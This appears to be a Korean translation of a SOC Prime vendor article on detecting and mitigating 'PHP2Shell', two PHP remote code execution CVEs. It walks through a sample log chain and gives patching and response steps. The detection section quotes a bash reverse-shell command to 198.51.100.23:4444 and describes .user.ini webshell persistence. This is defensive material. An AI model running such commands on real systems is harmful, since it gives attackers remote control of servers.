PHP2Shell 탐지 및 악용 분석

PHP2Shell 탐지 및 악용 분석

SOC Prime Team
SOC Prime Team linkedin icon 팔로우

PHP2Shell 감지는 패치와 실제 공격 사이의 시간이 하루로 짧을 수 있기 때문에 중요합니다. PHP2Shell은 PHP 코어의 두 가지 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-109618 및 CVE-2026-109619의 이름으로, CVSS v4.0에서 둘 다 9.2 점수를 받았습니다. 인증이 필요하지 않으므로 패치되지 않은 릴리스의 노출된 PHP 애플리케이션은 모두 대상이 됩니다. 아래 샘플에서는 공격이 PHP 워커 충돌로 나타난 후 웹 서버 사용자로 명령이 실행되는 것으로 나타납니다.

이 문서는 알려진 위협과 이벤트를 일치시키는 로그 분석 도구, LogTotal을 사용하여 PHP2Shell 감지를 다룹니다. 아래에서는 취약점의 맥락, 로그 출처, LogTotal이 발견한 내용 및 대응 방법을 설명합니다.

PHP2Shell 분석

두 PHP2Shell 취약점은 CVSS v4.0 기준 9.2 점수를 받았으며, 웹 요청을 처리하는 PHP 설치에서 인증 없이 접근 가능합니다. 로그 샘플을 올바르게 읽으려면 각 버그의 작동 방식, 공개가 얼마나 빨리 이루어졌는지, 어느 설치가 노출되었는지를 아는 것이 도움이 됩니다.

무료로 시작하기

PHP2Shell의 취약점 세부사항

두 CVE는 PHP가 요청을 처리하는 방법에서의 별도의 메모리 안전성 버그입니다. 어느 쪽이든 공격자가 웹 서버 사용자로서 코드를 실행할 수 있게 합니다.

  • CVE-2026-109618, 메모리 초과 손상. PHP가 요청 설정 중에 메모리가 소진되면 내부 데이터가 반쯤 만들어진 채로 남아 있고, 이후 정리 코드는 이를 신뢰합니다.
  • CVE-2026-109619, 오래된 전역 상태. 내부 상태는 그가 참조하는 요청 메모리보다 오래 지속되므로, 동일한 워커가 처리하는 다음 요청은 남은 데이터를 처리할 수 있습니다.

이것이 PHP “허용된 메모리 크기… 소진됨” 오류와 PHP 워커 충돌로 공격이 드러나는 이유입니다. 공개 PHP2Shell 스캐너는 동일한 신호를 찾습니다.

공개 및 공격 일정

날짜 (2026년)사건
10월 26일CISA가 CVE-2026-109618를 자사 KEV 카탈로그에 추가했습니다
10월 22일이 샘플에서 web-prod-01에 로깅된 공격
10월 21일PHP에서 수정된 릴리스를 발표했으며 watchTowr은 실제 공격을 관찰했습니다
10월 20일계획된 22일 공개에 앞서 소셜 미디어에 세부 사항이 유출되었습니다. PHP는 긴급 릴리스를 발표했습니다

Calif 연구자들이 취약점을 발견하고 PHP에 보고했습니다. LogTotal의 체인이 “누출된 치명적인 PHP 취약점”이라는 제목을 가진 이유입니다. 공개 PoC 코드와 탐지 프레임워크는 며칠 내 GitHub에 등장했으며, 연구 툴킷 중 하나는 PHP 7.4에서 8.4 이하에서 www-data로 명령 실행이 검증되었다고 보고합니다.

PHP2Shell이 영향을 미치는 시스템

PHP는 8.5.12, 8.4.27, 8.3.36 및 8.2.35 이전의 모든 릴리스가 취약하다고 나열하며, 오래된 분기도 영향을 받습니다.

PHP 분기영향받음Fix
8.5.x8.5.12 이하8.5.12
8.4.x8.4.27 이하8.4.27
8.3.x8.3.36 이하8.3.36
8.2.x8.2.35 이하8.2.35
7.4, 8.0, 8.1모든 버전공식 릴리스는 없습니다; 배포판이나 LTS 벤더 패키지, PHP의 최소 소스 백포트를 사용하거나 업그레이드하십시오
PHP 5를 포함한 7.3 버전과 그 이하모든 버전수정 없음; 지원되는 분기로 업그레이드하세요

웹 요청을 처리하는 모든 PHP 설치는 PHP-FPM, Apache mod_php, php-cgi, LiteSpeed 또는 FrankenPHP 하에 실행되는 경우 대상이 됩니다. PHP는 Apache mod_php의 위험을 가장 높게 평가하며, 공격은 애플리케이션 코드가 실행되기 전에 성공할 수 있습니다.

로그 소스 및 수집

속성값
파일PHP2Shell_sample.jsonl
이벤트6
호스트web-prod-01 (Linux 프로덕션 웹 서버)
시간 창2026년 10월 22일, 11:31:30 ~ 11:31:33 UTC (3초)
스키마ECS 스타일 (@timestamp, event, host, process, file, user)

파일은 두 소스를 하나의 스키마로 결합합니다:

  • 2개의 일반 텍스트 줄 PHP 런타임과 PHP-FPM 오류 로그에서
  • 4개의 이벤트 (파일 및 프로세스), ECS에 맞게 정규화됨

실제로 SIEM에 도달하는 혼합은 애플리케이션 오류 로그와 EDR 원격 탐지 자료를 나란히 놓은 것입니다.

PHP2Shell 감지

LogTotal은 6줄을 4.2초 동안 처리하고 4라인에 대해 9개의 규칙을 일치시켰으며 web-prod-01에서 하나의 체인을 형성했습니다: PHP2Shell, 누출된 치명적인 PHP 취약점 (CVE-2026-109618 & CVE-2026-109619), 치명적, 100% 일치, 3개의 규칙 발동.

평결 필드결과
평결의심스러움, 조사 필요
심각도치명적
신뢰성중간

PHP2Shell 체인이 펼쳐지는 방식

체인은 세 단계의 공격을 따르며, 모두 3초 이내에 발생합니다.

  1. 충돌. “가능한 CVE-2026-109618 / CVE-2026-109619 공격 시도 – PHP 메모리 소진 / PHP 워커 충돌” 규칙이 PHP 치명적 “허용된 메모리 크기… 소진됨” 오류와 SIGSEGV에 의해 죽은 PHP-FPM 자식 1201을 일치시켰습니다. 이것들은 공개 PHP2Shell 스캐너가 찾는 동일한 충돌 신호입니다.
  2. 웹 워커에서의 셸. “비정상 프로세스를 생성하는 가능한 PHP 워커” 및 “웹 서버를 통한 의심스러운 셸 [Linux]”는 www-data로 실행되는 php-fpm, sh -c bash /dev/shm/.s 생성이 잡혔습니다. 이 스크립트는 RAM에 백업된 /dev/shm에 저장되었습니다.
  3. 역방향 셸. “가능한 데이터 유출/역방향 셸을 통한 Bash”는 bash -i >& /dev/tcp/198.51.100.23/4444 0>&1을 일치시켰습니다. 체인 외부에서는 동일한 명령에 대해 네 가지 다른 규칙이 발동되었으며, Linux 역방향 셸 인디케이터(심각도)가 주도했습니다.

PHP2Shell 대처에서 LogTotal 발견 활용

체인은 하나의 화면에서 사건의 순서와 심각도를 제공합니다. 원시 이벤트는 차단할 IOC와 제거할 지속성을 제공합니다. 둘 다 사용하세요: 체인의 세 단계를 확인하고 파일 이벤트와 커맨드 라인을 검토하여 IOC와 지속성을 파악하세요.

PHP2Shell 완화

PHP2Shell에 대한 확실한 해결책은 수정된 PHP 릴리스이며, PHP는 어떠한 구성 변경도 이 취약점을 완전히 완화하지 못한다고 명시합니다. 이미 공격을 받은 서버에서는 패치만으로는 충분하지 않습니다: 웹쉘 및 .user.ini는 PHP 업그레이드 후에도 계속 존재합니다.

모든 PHP 설치를 패치하세요

  1. 인터넷에 공개된 시스템을 시작으로 PHP를 실행하는 모든 서버와 애플리케이션의 인벤토리를 작성하세요. Apache 모듈로 PHP를 실행하는 경우를 포함하여 모두 검사하세요.
  2. 각 설치를 8.5.12, 8.4.27, 8.3.36 또는 8.2.35로 분기에 맞게 업데이트하세요. 리눅스 배포판은 릴리스 전에 패치를 받았으므로 업데이트된 배포판 패키지를 확인하세요.
  3. 수정 사항이 적용되도록 모든 PHP 워커를 재시작하세요.
  4. PHP 7.4, 8.0 및 8.1의 경우 배포판 또는 LTS 벤더 패키지나 PHP의 최소 소스 백포트를 사용하거나 업그레이드하세요. PHP 7.3 및 이하에는 수정이 없습니다.
  5. 즉시 업데이트할 수 없는 PHP 시스템에 대한 인터넷 접근을 제한하세요.

커뮤니티 추적기 또한 2026년 10월 23일 PHP 정보 공지에서 다룬 구성 종속적인 세션 업로드-진행 벡터인 CVE-2026-115560을 보고합니다. 이는 PHP2Shell의 일부가 아니며, 이후 릴리스로 남겨졌습니다; 중간 권장은 session.upload_progress.enabled = 0입니다.

LogTotal의 권장 대응

  1. web-prod-01을 격리하세요.
  2. 웹, 시스템 및 네트워크 로그를 보존하세요.
  3. 역방향 셸의 목적지를 조사하세요.
  4. PHP 버전과 패치를 확인하세요.
  5. 향후 PHP 워커 충돌 및 셸 생성에 알림을 설정하세요.

원시 증거로부터의 추가 단계

  1. 출구 차단 198.51.100.23:4444로
  2. 정리하기 전에 증거를 보존하세요: uploads/.cache.php, .user.ini 및 /dev/shm/.s를 복사하세요. /dev/shm의 파일은 재부팅 시 손실됩니다.
  3. 지속성을 제거하세요. auto_prepend_file 지시문을 삭제하거나 고정된 PHP 릴리스에서 호스트를 다시 구축하세요.
  4. “www-data”가 읽을 수 있는 모든 비밀을 회전하세요, 예: 애플리케이션 설정의 데이터베이스 자격 증명 및 API 키
  5. 웹 플릿을 탐색하세요 다음을 확인하세요:
    • .user.ini 파일에 포함된 auto_prepend_file
    • 업로드 폴더의 숨겨진 PHP 파일
    • php-fpm, php-cgi, apache2, 또는 httpd에 의해 생성된 셸

지속적인 PHP2Shell 모니터링

EDR 원격 측정과 함께 SIEM으로 PHP 및 PHP-FPM 오류 로그가 흐르게 하세요. 이 샘플에서는 충돌 라인이 첫 번째 신호였으며 EDR 파일 이벤트가 지속성을 보유했습니다. 둘 중 하나의 소스만으로는 이야기의 절반만 말했을 것입니다.

FAQ

PHP2Shell이란 무엇이며 어떻게 작동합니까?

PHP2Shell은 인증되지 않은 PHP 코어의 두 가지 원격 코드 실행 결함입니다: CVE-2026-109618 (메모리 초과 손상) 및 CVE-2026-109619 (오래된 전역 상태), 둘 다 CVSS v4.0에서 9.2로 평가되었습니다. 어느 것이든 공격자가 웹 서버 사용자로서 코드를 실행할 수 있게 합니다. 위의 분석 섹션에서 각 결함의 작동 방식을 설명합니다.

PHP2Shell은 처음 언제 발견되었나요?

Calif의 연구자들이 PHP에 결함을 보고했습니다. 세부 사항은 2026년 10월 20일에 유출되었고 PHP는 계획된 공개 하루 전인 10월 21일에 수정을 배포했습니다.

PHP2Shell은 어떤 PHP 버전에 영향을 미치나요?

PHP 7.4, 8.0, 8.1 및 포함해서 이전 모든 분기, 8.5.12, 8.4.27, 8.3.36 및 8.2.35 이전의 모든 릴리스가 포함됩니다. 웹 요청을 처리하는 모든 PHP 설치가 대상이며 Apache mod_php가 가장 높은 위험에 처해 있습니다.

PHP2Shell이 시스템에 미치는 영향은 무엇인가요?

인증되지 않은 공격자가 웹 서버 사용자로서 코드를 실행할 수 있습니다. 이 샘플에서는 198.51.100.23:4444로의 역방향 셸과 모든 PHP 요청을 통해 .user.ini로 로드되는 숨겨진 웹쉘로 이어졌습니다. www-data가 읽을 수 있는 모든 비밀은 노출된 것으로 간주되어야 합니다.

2026년에 PHP2Shell이 여전히 영향을 미칠 수 있습니까?

예. PHP2Shell은 실제 환경에서 이용되고 있으며 CISA의 KEV 카탈로그에 등재되었습니다. 패치되지 않은 서버, 백포트 없는 생명 끝난 분기, 그리고 웹쉘 지속성이 제거되지 않은 손상된 서버는 여전히 위험에 처해 있습니다.

PHP2Shell로부터 자신을 보호하는 방법은 무엇인가요?

수정된 PHP 릴리스로 업그레이드하고 모든 PHP 워커를 재시작하십시오; 어떤 구성 변경도 PHP2Shell을 완전히 완화하지 못합니다. 그런 다음 웹 서버의 egress를 제한하고 웹 사용자가 읽을 수 있는 비밀을 회전하며 지속성을 위해 업로드 폴더와 .user.ini 파일을 감사하세요. 완화 섹션에 전체 단계가 나열되어 있습니다.

PHP2Shell을 어떻게 감지할 수 있나요?

PHP 및 PHP-FPM 오류 로그를 EDR 프로세스 및 파일 이벤트와 함께 수집하세요. PHP 메모리 소진 및 워커 충돌, php-fpm, php-cgi, apache2, httpd에 의해 스폰된 셸, auto_prepend_file이 있는 새로운 .user.ini 파일에 대한 경고를 설정하세요. LogTotal을 통한 내보내기를 실행하면 이러한 이벤트가 PHP2Shell 체인에 매핑되고 하나의 보기에서 공격 순서를 보여줍니다.

SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀사의 비즈니스에 가장 중요한 위협에 대한 가시성을 개선하세요. 시작을 돕고 즉각적인 가치를 제공하기 위해 지금 SOC Prime 전문가와의 회의를 예약하세요.